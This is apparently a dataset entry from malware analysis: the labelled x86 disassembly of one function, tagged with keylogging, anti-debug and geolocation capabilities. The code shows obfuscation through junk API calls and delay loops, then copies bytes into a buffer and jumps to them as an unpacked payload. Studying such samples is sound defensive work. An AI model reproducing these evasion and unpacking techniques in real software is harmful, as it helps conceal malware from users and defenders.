Function at 0x4a61c0
Capabilities:
Check for software breakpoints
Get geographical location
Log keystrokes via polling
Query environment variable
Set console window title
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x18e4
call fcn.0040e850
mov eax, dword [0x4ad14c]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
mov dword [ebp - 4], 0
jmp 0x4a61ea
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x365ea9e0
jge 0x4a622b
call dword [sym.imp.KERNEL32.dll_GetTickCount]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
cmp dword [ebp - 4], 0x176afc
jle 0x4a6229
cmp dword [0x4b08c4], 0xa
jne 0x4a6227
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
jmp 0x4a622b
jmp 0x4a61e1
mov dword [ebp - 0x64], 0
jmp 0x4a623d
mov ecx, dword [ebp - 0x64]
add ecx, 1
mov dword [ebp - 0x64], ecx
cmp dword [ebp - 0x64], 0x5f6c74
jge 0x4a625d
cmp dword [ebp - 0x64], 0x562d05
jne 0x4a625b
mov edx, dword [0x4aeac4]
mov dword [0x4b08c8], edx
jmp 0x4a6234
cmp dword [0x4b08c4], 0x7c
jne 0x4a62d2
push 0
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
call dword [sym.imp.USER32.dll_SetActiveWindow]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTapeParameters]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetKeyNameTextW]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EraseTape]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [0x4b08c4], 0x2d
jne 0x4a62d2
push 0
lea ecx, [ebp - 0x868]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
cmp dword [0x4b08c4], 0x110a
jne 0x4a63cd
mov dword [0x4b0530], 0
mov dword [0x4b0534], 0
cmp dword [0x4b08c4], 0xcc
jne 0x4a6314
push 0
call dword [sym.imp.KERNEL32.dll_LocalFlags]
mov dword [0x4afd10], 0x14
push 0
push str.buhutumecijut
push 0
push str.laboyojudidujahoyuleka
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
push 0
lea edx, [ebp - 0x1068]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0
push str.soluy
push 0
push str.yukiyurapike
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
push 0
push 0
call fcn.00401fe1
add esp, 8
mov eax, 0x4aaf74
lea esi, [ebp - 0x1890]
call fcn.004010d0
push 0
push 0
call fcn.00401fe1
add esp, 8
mov eax, dword [0x4aaf74]
mov dword [ebp - 0x1870], eax
push 0x7fc
push 0
lea ecx, [ebp - 0x186c]
push ecx
call fcn.0040c1e0
add esp, 0xc
lea edx, [ebp - 0x1070]
mov dword [ebp - 0x106c], edx
push 0
push 0
call fcn.00401fe1
add esp, 8
push 0
call fcn.00402144
add esp, 4
lea esi, [ebp - 0x1890]
call fcn.00401110
call fcn.004a5700
mov dword [ebp - 0x1894], 0
jmp 0x4a63ed
mov eax, dword [ebp - 0x1894]
add eax, 1
mov dword [ebp - 0x1894], eax
mov ecx, dword [ebp - 0x1894]
cmp ecx, dword [0x4b08c4]
jae 0x4a6449
mov edx, dword [0x4b08c8]
mov dword [ebp - 0x1898], edx
mov eax, 0xa231
add dword [ebp - 0x1898], eax
mov eax, dword [0x4aff9c]
add eax, dword [ebp - 0x1894]
mov ecx, dword [ebp - 0x1898]
add ecx, dword [ebp - 0x1894]
mov dl, byte [ecx]
mov byte [eax], dl
cmp dword [0x4b08c4], 0x5ab
jne 0x4a6447
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
jmp 0x4a63de
call fcn.004a5fe0
call fcn.004a5730
mov eax, 0x4adcb0
call fcn.004a6180
mov dword [ebp - 0x189c], 0
jmp 0x4a6478
mov eax, dword [ebp - 0x189c]
add eax, 1
mov dword [ebp - 0x189c], eax
cmp dword [ebp - 0x189c], 0x15a63d
jge 0x4a64a4
cmp dword [ebp - 0x189c], 0xbd9cb
jne 0x4a64a2
mov ecx, dword [0x4aff9c]
add ecx, 0
mov dword [0x4aff9c], ecx
jmp 0x4a6469
jmp dword [0x4aff9c]